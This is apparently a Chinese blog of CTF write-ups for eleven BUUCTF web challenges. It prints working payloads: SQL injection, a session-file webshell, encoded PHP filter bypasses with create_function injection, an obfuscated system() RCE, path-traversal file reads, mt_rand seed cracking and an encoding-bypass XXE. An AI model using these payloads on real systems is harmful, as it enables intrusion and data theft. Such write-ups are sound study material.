BUUCTF刷题十一道(09)

文章目录

  • October 2019 Twice SQL Injection
  • [GYCTF2020]EasyThinking
  • [BJDCTF2020]EzPHP
  • [HFCTF2020]JustEscape(vm2沙箱逃逸)
  • [GXYCTF2019]StrongestMind
  • [GKCTF 2021]easycms
  • [SUCTF 2018]GetShell
  • [b01lers2020]Life on Mars
  • [WMCTF2020]Make PHP Great Again
  • [MRCTF2020]Ezaudit
  • [CSAWQual 2019]Web_Unagi

October 2019 Twice SQL Injection

二次注入,可以github查看源码,当然不看也可以
注册账户admin' union select database() #
在这里插入图片描述
查表名字段
在这里插入图片描述
在这里插入图片描述
admin' union select group_concat(column_name) from information_schema.columns where table_name=0x666c6167#

admin' unoin select flag from flag#
在这里插入图片描述

[GYCTF2020]EasyThinking

学习文章

输入一个不存在的路由
在这里插入图片描述
用thinkphp 6.0

session可控,修改session,长度为32位,session后缀改为.php(加上.php后为32位)
然后再search搜索的内容会直接保存在/runtime/session/目录下,getshell

注册的时候抓包更改session
在这里插入图片描述

搜索的时候直接输入一句话,访问指定该session文件位置访问到一句话马文件
在这里插入图片描述
在这里插入图片描述
蚁剑连接无法查看flag,发现是有disable_functions限制,使用蚁剑绕过disable_functions插件
在这里插入图片描述
在这里插入图片描述

[BJDCTF2020]EzPHP

参考文章

ctrl+u源码
在这里插入图片描述
base32解码
在这里插入图片描述
1nD3x.php

<?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];//两个参数,shana,passwd
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { //使用url传参进行检测,`$_SERVER[‘QUERY_STRING’]`解析字符串时不会进行url解码,所以可以用url编码绕过if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}if (!preg_match('/http|https/i', $_GET['file'])) {//file参数if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { //看起来有preg_match换行绕过$file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))//有POST变量时不检测GET变量,POST同时传一个值即可  die('fxck you! I hate English!'); } 
} if (file_get_contents($file) !== 'debu_debu_aqua')//传参php://input或者data://die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){//绕过sha1extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

第一个,$_SERVER[‘QUERY_STRING’]解析字符串时不会进行url解码,所以可以用url编码绕过,而$_GET['x']是会进行url解码的,所以我们要把可能出现在黑名单的字符串进行url编码后再传入

第二个,preg_match没开m多行匹配,所以可以用多行绕过,需要注意相关关键词需要url编码绕过第一层
在这里插入图片描述
第三个,$_REQUEST同时接收$_POST$_GET变量,POST优先级高于$_GET,所以这里POST传GET相应变量没字母的即可
在这里插入图片描述
第四个,file_get_contents()需要传入字符串,data://伪协议
在这里插入图片描述
第五个,sha1传数组或者两个加密内容为0e开头的都行
sh%61%6ea[]=1&pa%73%73%77d[]=2
在这里插入图片描述
第六个,extract变量覆盖
传一个flag覆盖一下code变量值和arg变量值
在这里插入图片描述
fl%61g[c%6fde]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//

完整payload:
file=data://te%78%74/pl%61%69%6e,de%62%75_de%62%75_aq%75%61 &de%62%75=aq%75%61_is_cu%74%65%0a &sh%61%6ea[]=1 &pa%73%73%77d[]=2 &fl%61g[c%6fde]=create_function &fl%61g[%61rg]=}var_dump(get_defined_vars());//
在这里插入图片描述

发现flag好像在rea1fl4g.php
在这里插入图片描述
没东西,可以通过之前尝试包含该文件,然后dump所有变量get_defined_vars()
直接拉过来大佬的payload吧
fl%61g[c%6fde]=create_function &fl%61g[%61rg]=}require(base64_dec%6fde(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());// //%6c为url编码的o,为了绕过黑名单
文件名base64编码绕过滤
在这里插入图片描述
假flag…直接抄作业了

<?php
$a="php://filter/read=convert.base64-encode/resource=rea1fl4g.php";echo urlencode(~$a);
?>
//%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F

fl%61g[%61rg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));// 在这里插入图片描述
在这里插入图片描述

[HFCTF2020]JustEscape(vm2沙箱逃逸)

待补待补待补nodejs

[GXYCTF2019]StrongestMind

编写脚本

通过正则匹配获取页面上表达式,计算后post传参

学习文章

官方exp:

from requests import *
import res = session()
a = s.get("http://172.21.4.12:10044/index.php")
pattern = re.findall(r'\d+.[+-].\d+', a.text) 
c = eval(pattern[0])
a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
for i in range(1000):pattern = re.findall(r'\d+.[+-].\d+', a.text) c = eval(pattern[0])print(c)a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
print(a.text)
import requests
import re
import timeurl = 'http://288076b5-3a7f-4530-8794-20da1e87d0bc.node4.buuoj.cn:81/'
session = requests.session()
req = session.get(url).text
flag = ""for i in range(1010):try:result = re.findall("\<br\>\<br\>(\d.*?)\<br\>\<br\>",req)#获取[数字]result = "".join(result)#提取字符串result = eval(result)#运算print("time: "+ str(i) +"   "+"result: "+ str(result))data = {"answer":result}req = session.post(url,data=data).textif "flag{" in req:print(re.search("flag{.*}", req).group(0)[:50])breaktime.sleep(0.2)#防止访问太快断开连接except:print("[-]")

[GKCTF 2021]easycms

后台admin.php

这个可以开burp扫一下,或者用dirsearch扫一下,一些url会自动跳转index.php

后台密码12345

一般后台会考虑写马连接,这里不是直接编辑网页源代码,点设计->主题->导出
在这里插入图片描述
抓包会发现下载文件传的参数
在这里插入图片描述
改为/flag的base64编码即可下载flag

[SUCTF 2018]GetShell

向大佬学习


if($contents=file_get_contents($_FILES["file"]["tmp_name"])){$data=substr($contents,5);foreach ($black_char as $b) {if (stripos($data, $b) !== false){die("illegal char");}}     
} 
  1. 首先进行模糊测试,测黑名单过滤了哪些字符,代码段检测文件第五位之后的内容
    在这里插入图片描述
    burp fuzz
    能用的字符如下
    在这里插入图片描述
    使用取反RCE,本题不能用双引号,看大佬博客拉来的payload
$_=[]; //array
$__=$_.$_; /arrayarray
$_=($_==$__);//$_=(array==arrayarray) false 0
$__=($_==$_);//$__=(array==array) true 1$___=~[$__].~[$__].~[$__].~[$__].~[$__].~[$__];//system
$____=~[$__].~[$__].~[$__].~[$__].~[$__];//_POST$___($$____[_]);//system($_POST[_]);

内容要先写到文件里再上传,不然编码有问题

在这里插入图片描述
在这里插入图片描述

这题的flag在环境变量中,可能是配置问题,使用下env命令即可得出flag。

在这里插入图片描述

[b01lers2020]Life on Mars

博客来源

抓包发现有关键词,SQL注入

'or 1=1这个测试我没做成功,看到佬直接用union

chryse_planitia/**/union/**/select/**/1,2

在这里插入图片描述
数据库chryse_planitia/**/union/**/select/**/database(),2
在这里插入图片描述
表名chryse_planitia/**/union/**/select/**/group_concat(schema_name),2/**/from/**/information_schema.schemata

在这里插入图片描述
表名chryse_planitia/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='alien_code'
在这里插入图片描述
列名chryse_planitia/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.columns/**/where/**/table_name='code'

在这里插入图片描述
flag
chryse_planitia/**/union/**/select/**/group_concat(code),2/**/from/**/alien_code.code
在这里插入图片描述

[WMCTF2020]Make PHP Great Again

参考博客
漏洞介绍、复现、必读

payload:http://a4b822a9-e181-4395-b9be-014a4acc375e.node4.buuoj.cn:81/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
在这里插入图片描述

[MRCTF2020]Ezaudit

页面点了点没什么信息,试了试www.zip有源码

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){$username = $_POST['username'];$password = $_POST['password'];$Private_key = $_POST['Private_key'];if (($username == '') || ($password == '') ||($Private_key == '')) {// 若为空,视为未填写,提示错误,并3秒后返回登录界面header('refresh:2; url=login.html');echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";exit;
}else if($Private_key != '*************' ){header('refresh:2; url=login.html');echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";exit;}else{if($Private_key === '************'){$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; $link=mysql_connect("localhost","root","root");mysql_select_db("test",$link);$result = mysql_query($getuser);while($row=mysql_fetch_assoc($result)){echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";}}}} 
// genarate public_key 
function public_key($length = 16) {$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$public_key = '';for ( $i = 0; $i < $length; $i++ )$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);return $public_key;}//genarate private_keyfunction private_key($length = 12) {$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';$private_key = '';for ( $i = 0; $i < $length; $i++ )$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);return $private_key;}$Public_key = public_key();//$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

访问login.html,post设置login
在这里插入图片描述
已知公钥为KVQP0LdJKRaV3n9D
将其转换为能被php_mt_seed识别的序列,字典字符串要和题目里一样

<?php$allowable_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';//这里要和题目一样$len = strlen($allowable_characters) - 1;$pass = "KVQP0LdJKRaV3n9D";for ($i = 0; $i < strlen($pass); $i++) {$number = strpos($allowable_characters, $pass[$i]);echo "$number $number 0 $len  ";}echo "\n";?># 36 36 0 61  47 47 0 61  42 42 0 61  41 41 0 61  52 52 0 61  37 37 0 61  3 3 0 61  35 35 0 61  36 36 0 61  43 43 0 61  0 0 0 61  47 47 0 61  55 55 0 61  13 13 0 61  61 61 0 61  29 29 0 61

在这里插入图片描述
1775196155

然后使用该种子生成私钥


mt_srand(1775196155);
$length=12;
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
echo $private_key;

在这里插入图片描述
在这里插入图片描述
KVQP0LdJKRaV3n9D
XuNhoueCDCGc

密码用万能密码绕过
在这里插入图片描述

[CSAWQual 2019]Web_Unagi

flag在/flag

上传xml文档会被解析,但是有waf保护

编码绕过iconv -f utf8 -t utf-16 1.xml>2.xml

绕过WAF保护的XXE

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users><user><username>gg</username><password>passwd1</password><name>ggg</name><email>alice@fakesite.com</email>  <group>CSAW2019</group><intro>&xxe;</intro></user><user><username>bob</username><password>passwd2</password><name> Bob</name><email>bob@fakesite.com</email>  <group>CSAW2019</group><intro>&xxe;</intro></user>
</users>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/144852.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

关于Java的IO流里面的方法read()的细究

我们会经常看到上面的代码&#xff0c;很显然read(b)&#xff0c;是把字节读入到b这个字节数组里&#xff0c;然后read()返回一个成功读取的字节长度&#xff0c;如果现在用不带参的read()去一个一个字节的读了&#xff1f;那么len bInput.read()就是把这一个节字读入到len&am…

modbusTCP【codesys】

1添加控制器【控制器】&#xff1a; 右击左侧树型菜单【Device】→选择【添加设备】&#xff0c;在弹出对话框中下拉选择【以太网适配器】下的【Ethernet】&#xff0c;最后点击【添加设备】。 注意固件能支持的版本。我的是3.5.17 2添加主站【主站】 2添加从站【从站】 双…

Leetcode 662. 二叉树最大宽度

文章目录 题目代码&#xff08;9.30 首刷看解析&#xff09; 题目 Leetcode 662. 二叉树最大宽度 代码&#xff08;9.30 首刷看解析&#xff09; class Solution { public:int widthOfBinaryTree(TreeNode* root) {unsigned long long res 1;using pr pair<TreeNode*, u…

Ros2 学习02- ubuntu22.04 安装ros2

设置镜像源 sudo vim /etc/apt/sources.list#阿里源 deb http://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiverse deb-src http://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiverse deb http://mirrors.aliyun.com/ubuntu/ jamm…

Java下Properties类的使用(写出和读入)

代码如下&#xff1a; public class MyWork {public static void main(String[] args) throws IOException {Properties pro1 new Properties();pro1.setProperty("0001","张三");pro1.setProperty("0002","李四");pro1.setProperty…

侯捷 C++ STL标准库和泛型编程 —— 3 容器(关联式容器)

3.3 关联式容器 3.3.0 RB-Tree 红黑树&#xff08;Red-Black Tree&#xff09;是一种自平衡的二叉搜索树 BST&#xff08;AVL 是另一种&#xff09; rb-tree 提供遍历操作和 iterators&#xff0c;按中序遍历遍历&#xff0c;便可以得到排序状态 不能用 iterator 去改变元素的…

Springboot对MVC、tomcat扩展配置

Springboot在web层的开发基本都是采用Springmvc框架技术&#xff0c;但是Springmvc中的某些配置在boot是没有的&#xff0c;我们就应该根据自己的需求进行对mvc扩展配置 Springboot1.x版本如何配置 通过注解Configuration一个类&#xff0c;继承webmvcconfigureradapter&#…

贪婪的互联网电视让用户忍无可忍,广电总局出手了

广电总局要求电视需要在今年底前实现开机就看电视&#xff0c;开机广告、关机广告将不再被允许&#xff0c;这对于饱受互联网电视无孔不入的广告困扰的消费者来说无疑是一大利好&#xff0c;他们早已无法忍受越来越多的广告。 一、贪婪的互联网电视 互联网电视企业曾以羊毛出在…

华为云云耀云服务器L实例评测 | 实例评测使用之软件性能评测:华为云云耀云服务器下的 Redis 性能评测

华为云云耀云服务器L实例评测 &#xff5c; 实例评测使用之软件性能评测&#xff1a;华为云云耀云服务器下的 Redis 性能评测 介绍华为云云耀云服务器 华为云云耀云服务器 &#xff08;目前已经全新升级为 华为云云耀云服务器L实例&#xff09; 华为云云耀云服务器是什么华为云…

汇编语言——王爽

使用debug执行汇编程序的步骤&#xff1a; dir进入界面 编译&#xff1a;masm 链接&#xff1a;link 执行&#xff1a;debug 文件名 汇编程序格式 assume cs:code cs是寄存器&#xff0c;code是标号&#xff1b; code segment //代码段开始 ... ... mov ax,4…

数据集笔记:华盛顿共享单车OD数据

2010~2022 共享单车OD数据 数据地址&#xff1a;Index of bucket "capitalbikeshare-data"

Linux下C语言操作网卡的几个代码实例?特别实用

前面写了一篇关于网络相关的文章&#xff1a;如何获取当前可用网口。 《简简单单教你如何用C语言列举当前所有网口&#xff01;》 那么如何使用C语言直接操作网口&#xff1f; 比如读写IP地址、读写MAC地址等。 一、原理 主要通过系统用socket()、ioctl()、实现 int sock…

《三国志》游戏的MySQL数据设计与管理

在任何成功的游戏背后,都有一个精心设计和管理的数据系统。这不仅决定了游戏的运行效率,还直接影响到玩家的游戏体验。 本文将深入探讨著名游戏《三国志》中的数据设计和管理。本文将讲解游戏中核心的数据元素、数据管理方法,以及开发团队在数据方面所做的工作。 文章目录 …

Java版本企业工程项目管理系统源码+spring cloud 系统管理+java 系统设置+二次开发

工程项目各模块及其功能点清单 一、系统管理 1、数据字典&#xff1a;实现对数据字典标签的增删改查操作 2、编码管理&#xff1a;实现对系统编码的增删改查操作 3、用户管理&#xff1a;管理和查看用户角色 4、菜单管理&#xff1a;实现对系统菜单的增删改查操…

深入理解JavaScript中的事件冒泡与事件捕获

在JavaScript中&#xff0c;事件是交互式网页开发中的关键概念之一。了解事件冒泡和事件捕获是成为一名优秀的前端开发者所必需的技能之一。本文将深入探讨这两个概念&#xff0c;解释它们是如何工作的&#xff0c;以及如何在实际应用中使用它们来处理事件。 一.什么是事件冒泡…

Android Shape设置背景

设置背景时&#xff0c;经常这样 android:background“drawable/xxx” 。如果是纯色图片&#xff0c;可以考虑用 shape 替代。 shape 相比图片&#xff0c;减少资源占用&#xff0c;缩减APK体积。 开始使用。 <?xml version"1.0" encoding"utf-8"?…

智慧安防视频监控技术+AI智能分析算法助力美好乡村建设

上期我们聊到AI智能视频监控技术如何助力美好乡村建设&#xff1f;的相关方案&#xff0c;收到了很多粉丝的讨论与关注&#xff0c;视频监控只是乡村建设极其基础的一环&#xff0c;基于视频监控平台的AI智能算法&#xff0c;将人工智能融合到安防监控之中&#xff0c;才能让乡…

【Linux】详解线程第三篇——线程同步和生产消费者模型

线程同步和生消模型 前言正式开始再次用黄牛抢票来讲解线程同步的思想通过条件变量来实现线程同步条件变量接口介绍初始化和销毁pthread_cond_waitsignal和broadcast 生产消费者模型三种关系用基本工程师思维再次理解基于生产消费者模型的阻塞队列版本一版本二多生多消 利用RAI…

第79步 时间序列建模实战:支持向量机回归建模

基于WIN10的64位系统演示 一、写在前面 这一期&#xff0c;我们介绍支持向量机&#xff08;SVM&#xff09;回归。 同样&#xff0c;这里使用这个数据&#xff1a; 《PLoS One》2015年一篇题目为《Comparison of Two Hybrid Models for Forecasting the Incidence of Hemor…

【图像处理】SIFT角点特征提取原理

一、说明 提起在OpenCV中的特征点提取&#xff0c;可以列出Harris&#xff0c;可以使用SIFT算法或SURF算法来检测图像中的角特征点。本篇围绕sift的特征点提取&#xff0c;只是管中窥豹&#xff0c;而更多的特征点算法有&#xff1a; Harris & Stephens / Shi–Tomasi 角点…